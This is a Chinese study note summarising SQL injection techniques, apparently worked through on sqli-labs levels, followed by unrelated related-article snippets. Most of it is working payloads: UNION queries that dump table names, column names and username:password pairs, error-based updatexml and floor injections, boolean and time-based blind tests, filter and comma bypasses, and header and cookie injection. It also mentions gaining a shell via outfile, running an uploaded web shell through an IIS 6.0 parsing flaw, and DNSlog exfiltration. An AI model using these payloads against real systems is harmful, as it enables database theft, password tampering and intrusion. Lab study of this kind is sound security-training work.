sql注入部分总结和复现
一个端口对应一个服务
联合查询注入
所有的程序中,单双引号必须成对出现
需要从这个引号里面逃出来 在后面查询内容
?id=1'
要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询
order by # 通过二分法去试有多少列
知道列之后就可以用 union select 去查
union select 1,2,3--+
因为联合查询是前面条件为假 后面的条件才能生效。所以前面传id=-1 后面才能生效
?id=-1 union select 1,2,3
把2,3 换成数据库名
?id=-1 union select 1,user(),3--+ ?id=-1 union select 1,database(),3--+
现在要查表名,因为知道存在information_schema这个库中
union select 1,table_name,3 from information_schema.tables where table_schema='security' --+ #但是这样查的是一个表名。只能显示一行,我们需要用group_concat()参数把表名整合成一行 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
联合查询一定要保证列相同 ,知道表,但是不知道列 所以要查列名
union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
现在知道表,列了之后就可以查询了.就拿到管理员的密码了
union select 1,group_concat(username,0x3a,password),3 from users --+
写了正则过滤了information
这样写有漏洞可以双写information绕过
union select 1,table_name,3 from inforinformationmation schema.tables where table_schema='security'--+
但是用正则写则双写无法绕过
只有把information 替换了 sys库里面有x$schema_table_statistics 但是这里面也只有库名和表名,没有列名。所以只能进行无列名注入
利用join-using注入
通过系统关键字join可建立两表之间的内连接,通过对想要查询列名所在的表与其自身
select * from (select * from users as a join users b) as c --+
报错列名就出来了,现在用using(id),排出id关联,则爆出username
select * from (select from users as a join users b using(id)) c --+
所以现在可以查询了
如果过滤了逗号
简单注入可以使用join方法绕过
union select 1,2,3
join语句:
union select * from (select 1)a join (select 2)b join (select 3)
如果是盲注的substr(),mid(),limit
substr和mid()可以使用from for的方法解决substr(str from pos for len) //在str中从第pos位截取len长的字符mid(str from pos for len)//在str中从第pos位截取len长的字符limit可以用offset的方法绕过limit 1 offset 1使用substring函数也可以绕过 substring(str from pos) //返回字符串str的第pos个字符,索引从1开始
报错注入
前端不会打印出信息,但是可以通过MySQL报错信息把你想要的信息带入出来
常用updatexml和extractvalue两个函数
updatexml
updatexml(1,1,1)一共可以接收三个参数,报错位置在第二个参数
extractvalue
extractvalue(1,1)一共可以接收两个参数,报错位置在第二个参数·
用and连接
?id=1' and updatexml(1,user(),1)--+
用concat()连接函数
?id=1' and updatexml(1,concat('~',(select user()),'~'),1)--+
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
现在就和联合查询一样可以查表名列名
?id=1' and updatexml(1,concat('~',(select group_concat(table_name)from information_schema.tables where table_schema='security','~'),1)--+
查列
?id=1' and updatexml(1,concat('~',(select group_concat(column_name)from information_schema.columns where table_schema='security and table_name='users','~'),1)--+
查密码
?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users),'~'),1)--+
因为xml默认32字节 所以查询出来是这样
用limit
?id=1' and updatexml(1,concat('~',(select group_concat(username,0x3a,password)from users limit 0,1),'~'),1)--+
用substring(内容,开始,结束)一段一段截取
?id=1' and updatexml(1,concat('~',(select substring(group_concat(username,0x3a,password),32,64)from users),'~'),1)--+
面试:如果报错注入输出不完整,怎么办?
①用limit一个一个输出
②用substring()函数截取
MySQL怎么得到一个shell?(outfile)
3个条件
root权限 secure_file_priv的参数需要为空,不是null 网站路径
IS6.0解析漏洞(很久的漏洞,但可能会问)
1、有新建文件夹的权限,普通用户,可以把文件夹建成xxx.asp 都可以以aip权限执行,上传图片,写一句话木马插入图片中,一访问就执行了
2、后缀解析漏洞,创建1.asp;1.jpg 如果是IS6.0就会把;1.jpg截断,然后执行1.asp
布尔盲注
页面显示真和假的就是布尔盲注
只用通过页面反馈来猜
?id=1' and ascii(substr(database(),1,1))>100--+ # 意思是把database()首字母截取出来,转换成ascii码 和100比较 这样就可以知道第一个字母是啥
时间盲注(页面没有回显)
根据if()、sleep()网页沉睡时间来判断是否猜对
IF(condition, value_if_true, value_if_false)
?id=1' and if(ascii(substr(database(),1,1)) > 100, sleep(3), 0)--+
布尔盲注和时间盲注的区别
布尔盲注页面会显示两种状态,一种为真,一种为假,当它为真时会显示一种状态,当它为假时,会显示另一种状态。那么我可以利用python脚本去判断是否为真的元素,若有,则继续输出,若无,则做另外的判断
但时间盲注页面不会有显示,所以只能用mysql中的if函数让它沉睡,如果为真,沉睡1秒或3秒,看页面停顿是否1秒或3秒,如果有停顿则为真 ,如无则为假。我靠这个payload去注入
DNSlog注入
dnslog注入原理通过子查询,将内容拼接到域名内,查询相应的dns解析记录,来获取我们想要的数据
利用场景(secure_file_prive=" ",root,my.ini) 条件苛刻
在sql注入为布尔盲注、时间盲注时,如果遇到大量的数据,注入的效率将十分低下且耗时,用sqmap还容易被waf拦截,IP被ban,这种情况就可用利用内置文件读取函数 load_file()来完成 DNSlog注入
post型注入form表单
post 传参不能用--+ 用#
先用order by 查列
如果报错不能回显,则可以用图的变化来判断真假
魔术开关一旦开启,会自动转义单双引号。魔术开关在5.2以前自动开启,5.3以前是默认关闭
密码重置 17关
当输入的用户名是数据库里面的用户名,则可以重置密码
现在就是要拿到用户名,试着输入一下
admin1 and updatexml(1,concat(0x7e,(select user),0x7e),1)#
。想接到用户名
但是函数过滤只能接到15个字节
所以现在uname 利用不了。所以只能利用password。所以通过password然后用updatexml注入出库名,但是因为数据库里面是update 语句,是不能用updatexml注入的,所以只能用floor*函数*
floor函数
floor 函数报错细节,首先会用到四个函数rand,group by ,count,floor。因为分组时,mysql会自动创建一个虚拟表用于存信息,使用group by时,floor进行第一次计算,为0,然后表中没有值,会进行第二次计算,然后加表。再之后的加表分组过程中,如果floor第一次计算的值又是零,表中此时没有零,然后又会在计算一次,为1,此时表中已经有1了,所以会报错。
注意:只能用or 不能用and 如果用and 返回的就是假,则为0,所以数据库密码就会被修改成为0
而用or 一真一假则为真,则可以报错
并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。
admin1' aaa' and (select 1 from (select count(8),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#
并且update后面不能用and,这里是因为and 把前后当成一个整体了,判断之后返回值。
admin1' aaa' or (select 1 from (select count(*),concat(database(),floor(rand(0) * 2))as x from information_schema.tables group by x) as a)#
用or 会报错,update语句没有执行
sql头部注入
18关 文件头注入
文件头注入
根据源码来看 用不了 uname 和passwd 根据分析就需要用到burpsuite 改http里面的head头。用burpsuite 抓就得用本地IP
改了user-agent 会出现报错
所以这里是一个注入点
改了一下用updatexml报错注入是可行的
20关从cookie 里面注入
21关有一个base64编码 然后闭合方式不同
23关
注释符被过滤了 不能注释 那就闭合
order by 2 and '1'='1'
然后就可以报错注入了
二次注入
二次注入可以理解为先将恶意数据插入到数据库,之后服务器从数据库取出恶意数据,未经过滤就直接拼接SQL语句进行查询而导致的漏洞
第一次注册用户存的时候是没有漏洞的。第二次修改用户密码从数据库拿信息的时候是存在漏洞的。那么如果知道用户名,就可以修改用户名的密码了。并且转义符也没有入库
那我不知道管理员的用户名时,我也要去利用这个,报错注入拿到管理员用户名。然后再进行改密码
相关文章:

sql注入部分总结和复现
一个端口对应一个服务 联合查询注入 所有的程序中,单双引号必须成对出现 需要从这个引号里面逃出来 在后面查询内容 ?id1 要查库名,表名,列名。但是联合查询要知道有多少列,所以通过order by 去查询 order by # 通过二分法…...

开源企业级后台管理的快速启动引擎:Ballcat
Ballcat:快速搭建,高效管理,Ballcat让企业后台开发更简单。 - 精选真开源,释放新价值。 概览 Ballcat,一个专为企业级后台管理而设计的快速开发框架,以其高效的开发模式和全面的安全特性,为开发…...

FashionAI比赛-服饰属性标签识别比赛赛后总结(来自 Top14 Team)
关联比赛: FashionAI全球挑战赛—服饰属性标签识别 推荐大家看本篇博客之前,看一下数据集制作的方法,如何做一个实用的图像数据集 PS:我是参加完比赛之后才看的,看完之后,万马奔腾.....,因为发现比赛中还…...

C语言 | Leetcode C语言题解之第319题灯泡开关
题目: 题解: int bulbSwitch(int n) {return sqrt(n 0.5); }...

【第十届泰迪杯数据挖掘挑战赛A题害虫识别】-农田害虫检测识别-高精度完整更新
农田害虫检测识别项目-高精度完整版 一、说明: 该版本为基于泰迪杯完整害虫数据重新制作数据集、优化增强数据集、重新进行模型训练,达到高精度、高召回率的最优模型代码。包含论文、最优模型文件以及相关文件、原始数据集、训练数据集XML版、增强扩充…...

【Linux】—— Linux进程状态(R、S、D、T、Z、X)
🌏博客主页:PH_modest的博客主页 🚩当前专栏:Linux跬步积累 💌其他专栏: 🔴 每日一题 🟡 C跬步积累 🟢 C语言跬步积累 🌈座右铭:广积粮࿰…...

重生之我在NestJS中使用EventStream
有一个需求是需要长连接等待后台的返回,我们使用的EventStream,在NestJS中使用很简单,框架基本上已经封装好了 0. 如果没有创建项目的,可以先创建一个项目,创建项目的直接跳转到下一个步骤去 全局安装 nest: npm inst…...

自动化工具Selenium IDE基本使用——脚本录制
1 简介 Selenium相信大家都知道,在做自动化操作时,要使用浏览器驱动直接控制浏览器操作的时候,大多会结合Selenium框架使用。 但在对网页操作自动化的时候,实际上有一种更轻量的做法,那就是直接使用Selenium IDE&…...

【第十一天】进程调度算法,进程间通信方式,进程同步和互斥
进程调度算法有哪些 进程调度算法是操作系统中用来管理和调度进程(任务,作业)执行的方法。这些方法决定了在多任务环境下,如何为各个进程分配CPU时间,以实现公平性、高吞吐量、低延迟等目标。 先到先服务调度算法&am…...

Python的lambda函数
Python中的lambda函数是一种小型匿名函数,它允许你在需要函数对象的地方快速定义单行的小函数。lambda函数通常用于编写简洁的代码,尤其是当使用高阶函数(如map()、filter()、reduce()等)时。它们可以接收任何数量的参数ÿ…...

java9-泛型
1.泛型的简介 1.1 什么是泛型 泛型是一种特殊的数据类型。 它是Java 的一个高级特性。在 Mybatis、Hibernate 这种持久化框架,泛型更是无处不在。 在这之前,不管我们在定义成员变量时,还是方法的形参时,都要规定他们的具体类型…...

zotero安装与使用
文献管理工具) Zotero软件官网https://www.zotero.org/download,不修改安装位置,默认安装就行;安装完成官网直接邮箱注册一个账号,软件登陆账号:编辑-首选项-同步 修改论文保存位置,有从其它电脑拷贝过来的…...

Elasticsearch未授权访问漏洞
7.Elasticsearch未授权访问漏洞 Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 步骤一:使用以下Fofa语法进行Elasticsearch产品搜索 "Elasticsearch" && port"9200" …...

【FPGA】module中CLOCK RESET iCall oDone的含义
一般的module并不只有iData和oData,还有其他的控制信号,如CLOCK RESET iCall oDone 基本的模式为 module cordicSinhCosh (input CLOCK,RESET,input iCall, output oDone,input [31:0]iData, output [31:0]oData, );reg [31:0] x;initial begin x = ...endreg signed [31:…...

OpenGL实现3D游戏编程【连载2】——了解并创建3D空间模型
1、本节实现的内容 上一节我们创建一个简单的窗口,本节我们需要了解一下细节内容,同时为了方便观看,我们需要显示一个世界坐标轴,建立一个直观的三维空间。 2、我们的眼睛设定(gluPerspective函数) 上一…...

Java-文件操作和IO
文件介绍 文件本身有多重含义,狭义的文件,特指硬盘上的文件(以及保存文件的目录),广义的文件:计算机上的很多硬件设备,软件资源,在操作系统中,都会被视为是"文件" 文件除了有数据内容之外,还有一部分信息,例如文件名,文件类型,文件大小,这些信息可以称作文件的元信…...

AI智能化赋能电商经济,守护消费净土,基于轻量级YOLOv8n开发构建公共生活景下的超大规模500余种商品商标logo智能化检测识别分析系统
在数字经济浪潮的推动下,全力发展新质生产力已成为当今社会发展的主旋律。各行各业正经历着前所未有的变革,其中,电商行业作为互联网经济的重要组成部分,更是以惊人的速度重塑着商业格局与消费模式。AI智能化技术的深度融合&#…...

C语言菜鸟入门·数据结构·链表超详细解析
目录 1. 单链表 1.1 什么是单链表 1.1.1 不带头节点的单链表 1.1.2 带头结点的单链表 1.2 单链表的插入 1.2.1 按位序插入 (1)带头结点 (2)不带头结点 1.2.2 指定结点的后插操作 1.2.3 指定结点的前插操作 1.3 …...

C# Unity 面向对象补全计划 七大原则 之 依赖倒置原则 (DIP)难度:☆☆ 总结:多抽象,多接口,少耦合
本文仅作学习笔记与交流,不作任何商业用途,作者能力有限,如有不足还请斧正 本系列作为七大原则和设计模式的进阶知识,看不懂没关系 请看专栏:http://t.csdnimg.cn/mIitr,查漏补缺 1.依赖倒置原则 (DIP) 这…...

大模型面试问题
综合基础 1、讲讲制作一个LLM的流程以及各阶段的作用 2、发现模型性能不好,如何从各个阶段去排查问题 查看各阶段中是否有对应训练数据,然后再向下排查。预训练 1、Transfomer模型介绍一下 2、讲讲 Q、K、V 3、Transfomer模型中Encoder输出给Decoder的…...

keeplive配置详解与haproxy配置详解
一、keepalive相关知识 1.1 keepalive介绍 keepalive即LVS集群当中的高可用架构,只是针对调度器的高可用。是高可用的HA架构。 keepalive就是基于VRRP协议来实现LVS高可用的方案。 1、组播地址 224.0.0.18,根据组播地址进行通信,主备之间发…...

vivado里的LUT、LUTRAM、FF、BRAM、DSP、IO、BUFG、MMCM资源介绍
vivado里的LUT、LUTRAM、FF、BRAM、DSP、IO、BUFG、MMCM资源介绍 提示:以下是本篇文章正文内容,写文章实属不易,希望能帮助到各位,转载请附上链接。 vivado实现电路用到的资源类型 LUT(Look-Up Table)&am…...

window关闭端口占用
文章目录 一、打开命令行,输入命令,得到进程号二、找到其端口并杀死该端口总结 一、打开命令行,输入命令,得到进程号 winr打开命令行,输入命令 netstat -ano | findstr 端口号得到端口号 二、找到其端口并杀死该端…...

Java:类和对象
类和对象 类(Class)类的定义 对象(Object)对象的创建 构造方法(Constructor)构造方法的定义 继承(Inheritance)继承的示例 总结示例一设想一个场景:创建一个虚拟动物园一…...

Pandas数据分析案例之用户购买记录分析
文章目录 数据分析之用户购买记录分析第一部分:数据类型处理数据加载观察数据查看数据的数据类型数据中是否存储在缺失值将order_dt转换成时间类型查看数据的统计描述计算所有用户购买商品的平均数量计算所有用户购买商品的平均花费 在源数据中添加一列表示月份:ast…...

串口调试可能遇见的常见问题和排查方法
串口UART作为嵌入式应用和通讯领域中最常用的接口之一,接口协议虽然简单,但在实际应 用中不同设备之间的通讯也会存在各种小问题,下面对使用中各种常见的问题做下总结和梳 理,可作为调试参考。 01串口通信常见问题 串口通信乱码…...

运放学习提纲
目的:给初入硬件的朋友一个系统性学习运放的参考方向,避免像无头苍蝇那般 一:偏置电流 1.1. 为什么是输入偏置电流? 1.2. 什么是输入偏置电流? 1.3. 怎么搜索资料?怎么把 ADI 模型导 入Multisim &#…...

nvidia系列教程-AGX-Orin系统刷机及备份
目录 前言 一、准备工作 二、AGX Orin 系统刷机步骤 三、AGX Orin 系统备份 总结 前言 NVIDIA AGX Orin 是一款高性能的嵌入式计算平台,专为边缘计算和 AI 应用而设计。为了确保系统的稳定性和适应不同的应用场景,用户可能需要对 AGX Orin 进行系统刷…...

将 Mojo 与 Python 结合使用
Mojo 允许您访问整个 Python 生态系统,但环境可能会因 Python 的安装方式而异。花些时间准确了解 Python 中的模块和包的工作原理是值得的,因为有一些复杂情况需要注意。如果您以前在调用 Python 代码时遇到困难,这将帮助您入门。 Python 中的模块和包 让我们从 Python 开始…...

Unrecognized option: --add-opens=java.base/java.lang=ALL-UNNAMED
Unrecognized option: --add-opensjava.base/java.langALL-UNNAMED Error: Could not create the Java Virtual Machine. Error: A fatal exception has occurred. Program will exit. Disconnected from server 报错原因:这里我是启动一个SpringBoot项目的时候报这…...